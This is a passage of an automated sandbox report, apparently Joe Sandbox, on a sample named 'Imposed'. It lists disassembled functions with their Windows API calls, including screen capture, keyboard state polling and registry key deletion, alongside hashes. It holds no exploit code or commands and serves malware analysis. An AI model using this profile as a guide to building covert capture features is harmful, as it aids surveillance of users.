                                                                                                                                                                • GlobalLock.KERNEL32(00000000), ref: 00A28BD0
                                                                                                                                                                • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,00A26313,?,?,00000000,?), ref: 00A28BDF
                                                                                                                                                                • GlobalUnlock.KERNEL32(00000000), ref: 00A28BE8
                                                                                                                                                                • CloseHandle.KERNEL32(00000000,?,?,?,?,00A26313,?,?,00000000,?), ref: 00A28BEF
                                                                                                                                                                • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00A26313,?,?,00000000,?), ref: 00A28C00
                                                                                                                                                                • OleLoadPicture.OLEAUT32(?,00000000,00000000,00A30BFC,?), ref: 00A28C19
                                                                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 00A28C29
                                                                                                                                                                • GetObjectW.GDI32(00000000,00000018,?), ref: 00A28C49
                                                                                                                                                                • CopyImage.USER32(00000000,00000000,00000000,?,00002000), ref: 00A28C79
                                                                                                                                                                • DeleteObject.GDI32(00000000), ref: 00A28CA1
                                                                                                                                                                • SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00A28CB7
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3840717409-0
                                                                                                                                                                • Opcode ID: 42d39844ec09bae9bc9e76e7a7536d87e34c4f6f518ae1e41487dbfb95e3c30d
                                                                                                                                                                • Instruction ID: ad052d174745b8df61db6ab0643b3037b4e50100b023bef913e911eaef6a2928
                                                                                                                                                                • Opcode Fuzzy Hash: 42d39844ec09bae9bc9e76e7a7536d87e34c4f6f518ae1e41487dbfb95e3c30d
                                                                                                                                                                • Instruction Fuzzy Hash: 14412B75601214AFDB21DFA9DC48EAE7BB8FF89711F104068F905D7261DB34A902CB20
                                                                                                                                                                Function 00A12D98 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetDC.USER32(00000000), ref: 00A12E14
                                                                                                                                                                • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00A12E24
                                                                                                                                                                • CreateCompatibleDC.GDI32(?), ref: 00A12E30
                                                                                                                                                                • SelectObject.GDI32(00000000,?), ref: 00A12E3D
                                                                                                                                                                • StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 00A12EA9
                                                                                                                                                                • GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 00A12EE8
                                                                                                                                                                • GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 00A12F0C
                                                                                                                                                                • SelectObject.GDI32(?,?), ref: 00A12F14
                                                                                                                                                                • DeleteObject.GDI32(?), ref: 00A12F1D
                                                                                                                                                                • DeleteDC.GDI32(?), ref: 00A12F24
                                                                                                                                                                • ReleaseDC.USER32(00000000,?), ref: 00A12F2F
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                                                                                                                                                • String ID: (
                                                                                                                                                                • API String ID: 2598888154-3887548279
                                                                                                                                                                • Opcode ID: 462104696cb5c3dcf204358a11330a304f19c2797840bfe5a36fee61d53368cf
                                                                                                                                                                • Instruction ID: d485f46d3b2413e80f184070337bfde218208e708fe9475c767c378e8ad0527c
                                                                                                                                                                • Opcode Fuzzy Hash: 462104696cb5c3dcf204358a11330a304f19c2797840bfe5a36fee61d53368cf
                                                                                                                                                                • Instruction Fuzzy Hash: 0D61C1B5D00219EFCF14CFE8D984AAEBBB6FF48310F208529E955A7250D771A952CF60
                                                                                                                                                                Function 009F5162 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 259COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetClassNameW.USER32(?,?,00000400), ref: 009F519E
                                                                                                                                                                • GetWindowTextW.USER32(?,?,00000400), ref: 009F51E0
                                                                                                                                                                • _wcslen.LIBCMT ref: 009F51F1
                                                                                                                                                                • CharUpperBuffW.USER32(?,00000000), ref: 009F51FD
                                                                                                                                                                • _wcsstr.LIBVCRUNTIME ref: 009F5232
                                                                                                                                                                • GetClassNameW.USER32(00000018,?,00000400), ref: 009F526A
                                                                                                                                                                • GetWindowTextW.USER32(?,?,00000400), ref: 009F52A3
                                                                                                                                                                • GetClassNameW.USER32(00000018,?,00000400), ref: 009F52FD
                                                                                                                                                                • GetClassNameW.USER32(?,?,00000400), ref: 009F532F
                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 009F53A7
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
                                                                                                                                                                • String ID: ThumbnailClass
                                                                                                                                                                • API String ID: 1311036022-1241985126
                                                                                                                                                                • Opcode ID: 4aa47d4136874e1d8ff97c4c078b4dad938a2e30d092679fbf0a30fb23774542
                                                                                                                                                                • Instruction ID: fbef4dcac90667b011178b9d88c94a6e174c6b94611e9f810e37be3370293112
                                                                                                                                                                • Opcode Fuzzy Hash: 4aa47d4136874e1d8ff97c4c078b4dad938a2e30d092679fbf0a30fb23774542
                                                                                                                                                                • Instruction Fuzzy Hash: F291EE71104B0AAFDB18CF28C994BBAB7ACFF40340F014629FB9582091EB71ED56CB91
                                                                                                                                                                Function 00A29316 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 221windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009923E1: GetWindowLongW.USER32(00000000,000000EB), ref: 009923F2
                                                                                                                                                                • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00A29362
                                                                                                                                                                • GetFocus.USER32 ref: 00A29372
                                                                                                                                                                • GetDlgCtrlID.USER32(00000000), ref: 00A2937D
                                                                                                                                                                • DefDlgProcW.USER32(?,00000111,?,?,00000000,?,?,?,?), ref: 00A29425
                                                                                                                                                                • GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00A294D7
                                                                                                                                                                • GetMenuItemCount.USER32(?), ref: 00A294F4
                                                                                                                                                                • GetMenuItemID.USER32(?,00000000), ref: 00A29504
                                                                                                                                                                • GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00A29536
                                                                                                                                                                • GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00A29578
                                                                                                                                                                • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00A295A9
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
                                                                                                                                                                • String ID: 0
                                                                                                                                                                • API String ID: 1026556194-4108050209
                                                                                                                                                                • Opcode ID: 787bc65adf3f9c3227460b6065a8155d580375e2d9634ce2abeaacf4ffeb2de2
                                                                                                                                                                • Instruction ID: 24887084e081b3b17b9c54be275d5cd008678c3a0bf62d5f9da10faa5e29e461
                                                                                                                                                                • Opcode Fuzzy Hash: 787bc65adf3f9c3227460b6065a8155d580375e2d9634ce2abeaacf4ffeb2de2
                                                                                                                                                                • Instruction Fuzzy Hash: 4F81AF716043219FDB21DF28E984AAB7BE8FF88B14F14053DF98597291D770D906CBA2
                                                                                                                                                                Function 009FC7A2 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 190windowsleepCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetMenuItemInfoW.USER32(00A629B0,000000FF,00000000,00000030), ref: 009FC81E
                                                                                                                                                                • SetMenuItemInfoW.USER32(00A629B0,00000004,00000000,00000030), ref: 009FC853
                                                                                                                                                                • Sleep.KERNEL32(000001F4), ref: 009FC865
                                                                                                                                                                • GetMenuItemCount.USER32(?), ref: 009FC8AB
                                                                                                                                                                • GetMenuItemID.USER32(?,00000000), ref: 009FC8C8
                                                                                                                                                                • GetMenuItemID.USER32(?,-00000001), ref: 009FC8F4
                                                                                                                                                                • GetMenuItemID.USER32(?,?), ref: 009FC93B
                                                                                                                                                                • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 009FC981
                                                                                                                                                                • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 009FC996
                                                                                                                                                                • SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 009FC9B7
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ItemMenu$Info$CheckCountRadioSleep
                                                                                                                                                                • String ID: 0
                                                                                                                                                                • API String ID: 1460738036-4108050209
                                                                                                                                                                • Opcode ID: 45d03ba676f40c545f30ace3e2cc885a520dd76bc8dea1836d49518e11c48c1a
                                                                                                                                                                • Instruction ID: ffd7feafd91ff737f57aedf652ff32ba0bf885c3ddc7ba10c8467356b9fb4535
                                                                                                                                                                • Opcode Fuzzy Hash: 45d03ba676f40c545f30ace3e2cc885a520dd76bc8dea1836d49518e11c48c1a
                                                                                                                                                                • Instruction Fuzzy Hash: 4A6193B190024EAFDF15CFA8DA88AFE7B78FF05348F148415EA41A3291D7B49D42CB60
                                                                                                                                                                Function 009FE374 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 178COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetFileVersionInfoSizeW.VERSION(?,?), ref: 009FE386
                                                                                                                                                                • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 009FE3AC
                                                                                                                                                                • _wcslen.LIBCMT ref: 009FE3B6
                                                                                                                                                                • _wcsstr.LIBVCRUNTIME ref: 009FE406
                                                                                                                                                                • VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 009FE422
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FileInfoVersion$QuerySizeValue_wcslen_wcsstr
                                                                                                                                                                • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                                                                                                                                • API String ID: 1939486746-1459072770
                                                                                                                                                                • Opcode ID: 1fc2ba7991fd62e5f6a676943bb33ad8677c5e59f46e521ce6eb9ce155dfd678
                                                                                                                                                                • Instruction ID: aa9e96f2d46d194150d6437e02afbc20b87a3f0a602390a5e17332679af80ef3
                                                                                                                                                                • Opcode Fuzzy Hash: 1fc2ba7991fd62e5f6a676943bb33ad8677c5e59f46e521ce6eb9ce155dfd678
                                                                                                                                                                • Instruction Fuzzy Hash: 284107726002187ADF10A7A49D4BFFF376CEF85720F104869FA04B6193FA74EA0197A5
                                                                                                                                                                Function 00A1D3AE Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00A1D3DE
                                                                                                                                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 00A1D407
                                                                                                                                                                • FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00A1D4C2
                                                                                                                                                                  • Part of subcall function 00A1D3AE: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 00A1D424
                                                                                                                                                                  • Part of subcall function 00A1D3AE: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 00A1D437
                                                                                                                                                                  • Part of subcall function 00A1D3AE: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00A1D449
                                                                                                                                                                  • Part of subcall function 00A1D3AE: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00A1D47F
                                                                                                                                                                  • Part of subcall function 00A1D3AE: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00A1D4A2
                                                                                                                                                                • RegDeleteKeyW.ADVAPI32(?,?), ref: 00A1D46D
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
                                                                                                                                                                • String ID: RegDeleteKeyExW$advapi32.dll
                                                                                                                                                                • API String ID: 2734957052-4033151799
                                                                                                                                                                • Opcode ID: 1ea890bbfce9b3020899ce026d71a9fd40f3be185c8427b24bcfc58a2bf19f53
                                                                                                                                                                • Instruction ID: ad78ead28c3a2036fbe5a51fe43e50cdabfc47b0472d828417be1cbf216094f7
                                                                                                                                                                • Opcode Fuzzy Hash: 1ea890bbfce9b3020899ce026d71a9fd40f3be185c8427b24bcfc58a2bf19f53
                                                                                                                                                                • Instruction Fuzzy Hash: 18316C71901129BBDB20DB95DC88EFFBB7CEF55750F000165E906E3251DB34AA869AB0
                                                                                                                                                                Function 009FEE87 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • timeGetTime.WINMM ref: 009FEE8B
                                                                                                                                                                  • Part of subcall function 009AEDA7: timeGetTime.WINMM(?,?,009FEEAB), ref: 009AEDAB
                                                                                                                                                                • Sleep.KERNEL32(0000000A), ref: 009FEEB8
                                                                                                                                                                • EnumThreadWindows.USER32(?,Function_0006EE3C,00000000), ref: 009FEEDC
                                                                                                                                                                • FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 009FEEFE
                                                                                                                                                                • SetActiveWindow.USER32 ref: 009FEF1D
                                                                                                                                                                • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 009FEF2B
                                                                                                                                                                • SendMessageW.USER32(00000010,00000000,00000000), ref: 009FEF4A
                                                                                                                                                                • Sleep.KERNEL32(000000FA), ref: 009FEF55
                                                                                                                                                                • IsWindow.USER32 ref: 009FEF61
                                                                                                                                                                • EndDialog.USER32(00000000), ref: 009FEF72
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
                                                                                                                                                                • String ID: BUTTON
                                                                                                                                                                • API String ID: 1194449130-3405671355
                                                                                                                                                                • Opcode ID: aae5fade6cbd2017790f453641e680b6864530b7a664497965e55737e0b70efe
                                                                                                                                                                • Instruction ID: 26630e03c91f1e1354d1267db07fa12d0b56840b492270dc0996c102bc05667d
                                                                                                                                                                • Opcode Fuzzy Hash: aae5fade6cbd2017790f453641e680b6864530b7a664497965e55737e0b70efe
                                                                                                                                                                • Instruction Fuzzy Hash: 78215E79250289BFFB11DFA4EC88B373B79FB44745B001024F612962B2CBB59C079B61
                                                                                                                                                                Function 009FF1D3 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 0099C110: _wcslen.LIBCMT ref: 0099C11A
                                                                                                                                                                • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 009FF234
                                                                                                                                                                • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 009FF24A
                                                                                                                                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 009FF25B
                                                                                                                                                                • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 009FF26D
                                                                                                                                                                • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 009FF27E
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: SendString$_wcslen
                                                                                                                                                                • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                                                                                                                                                • API String ID: 2420728520-1007645807
                                                                                                                                                                • Opcode ID: 69ab4fcddf1f3802ecfa1f37b373b677f743dea04c10aff1405cc8af2aa8a043
                                                                                                                                                                • Instruction ID: 91b67177e4d831449ee7ad8d5ea1cc12039fa8960b8d1edd552bdcc7399c724a
                                                                                                                                                                • Opcode Fuzzy Hash: 69ab4fcddf1f3802ecfa1f37b373b677f743dea04c10aff1405cc8af2aa8a043
                                                                                                                                                                • Instruction Fuzzy Hash: 2911A775A9421D79DB20A7A59C5AFFF6A7CFFD1B00F000829B811A20D1DAB05D49C6B1
                                                                                                                                                                Function 009FA7B5 Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetKeyboardState.USER32(?), ref: 009FA836
                                                                                                                                                                • SetKeyboardState.USER32(?), ref: 009FA8A1
                                                                                                                                                                • GetAsyncKeyState.USER32(000000A0), ref: 009FA8C1
                                                                                                                                                                • GetKeyState.USER32(000000A0), ref: 009FA8D8
                                                                                                                                                                • GetAsyncKeyState.USER32(000000A1), ref: 009FA907
                                                                                                                                                                • GetKeyState.USER32(000000A1), ref: 009FA918
                                                                                                                                                                • GetAsyncKeyState.USER32(00000011), ref: 009FA944
                                                                                                                                                                • GetKeyState.USER32(00000011), ref: 009FA952
                                                                                                                                                                • GetAsyncKeyState.USER32(00000012), ref: 009FA97B
                                                                                                                                                                • GetKeyState.USER32(00000012), ref: 009FA989
                                                                                                                                                                • GetAsyncKeyState.USER32(0000005B), ref: 009FA9B2
                                                                                                                                                                • GetKeyState.USER32(0000005B), ref: 009FA9C0
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: State$Async$Keyboard
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 541375521-0
                                                                                                                                                                • Opcode ID: 5a4bb0c14c2f030ecee5d92a7a36c465b78358cdcf71f082cce988744d18f7e3
                                                                                                                                                                • Instruction ID: 022a12f395e4028b6e501ee02b5b589b6a5479ff60c5bde96f863fb80f3d824a
                                                                                                                                                                • Opcode Fuzzy Hash: 5a4bb0c14c2f030ecee5d92a7a36c465b78358cdcf71f082cce988744d18f7e3
                                                                                                                                                                • Instruction Fuzzy Hash: AB51A7B090478C29EB35DBB088557BABFF89F11380F088599D7C65A1C2DA949E8CC762
                                                                                                                                                                Function 009F64E2 Relevance: 18.2, APIs: 12, Instructions: 173COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetDlgItem.USER32(?,00000001), ref: 009F64FE
                                                                                                                                                                • GetWindowRect.USER32(00000000,?), ref: 009F6517
                                                                                                                                                                • MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 009F6575
                                                                                                                                                                • GetDlgItem.USER32(?,00000002), ref: 009F6585
                                                                                                                                                                • GetWindowRect.USER32(00000000,?), ref: 009F6597
                                                                                                                                                                • MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 009F65EB
                                                                                                                                                                • GetDlgItem.USER32(?,000003E9), ref: 009F65F9
                                                                                                                                                                • GetWindowRect.USER32(00000000,?), ref: 009F660B
                                                                                                                                                                • MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 009F664D
                                                                                                                                                                • GetDlgItem.USER32(?,000003EA), ref: 009F6660
                                                                                                                                                                • MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 009F6676
                                                                                                                                                                • InvalidateRect.USER32(?,00000000,00000001), ref: 009F6683
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
